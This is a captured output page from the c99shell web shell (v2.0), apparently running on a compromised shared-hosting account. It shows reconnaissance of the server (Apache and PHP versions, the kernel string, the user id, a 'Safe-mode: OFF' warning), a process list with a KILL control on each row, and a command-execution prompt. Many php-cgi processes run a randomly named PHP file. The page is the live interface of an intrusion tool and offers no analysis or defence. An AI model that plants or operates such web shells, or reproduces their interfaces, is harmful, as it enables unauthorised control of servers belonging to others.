Software: Apache. PHP/7.3.33 uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) Safe-mode: OFF (not secure) /usr/share/doc/pcre2-devel/html/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||
alpastr+ | 694 | 3.6 | 0.0 | 358340 | 40196 | ? S 00:59 0:01 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | |||||||||||||||||||||
alpastr+ | 696 | 1.3 | 0.0 | 359148 | 42104 | ? S 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | |||||||||||||||||||||
alpastr+ | 697 | 1.2 | 0.0 | 358340 | 40412 | ? S 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | |||||||||||||||||||||
alpastr+ | 698 | 1.7 | 0.0 | 0 0 ? Z 00:59 0:00 [php-cgi] <defunct> | KILL | |||||||||||||||||||||||
alpastr+ | 699 | 4.4 | 0.0 | 358340 | 40524 | ? S 00:59 0:01 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | |||||||||||||||||||||
alpastr+ | 1479 | 21.0 | 0.0 | 358340 | 40536 | ? | R 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 1480 | 10.0 | 0.0 | 356292 | 38632 | ? | S 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 1481 | 9.0 | 0.0 | 356292 | 38560 | ? | S 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 1482 | 8.0 | 0.0 | 356292 | 38556 | ? | S 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 1489 | 17.0 | 0.0 | 358340 | 40200 | ? | S 00:59 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 1521 | 0.0 | 0.0 | 49824 | 3708 ? R 00:59 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0446 ]-- |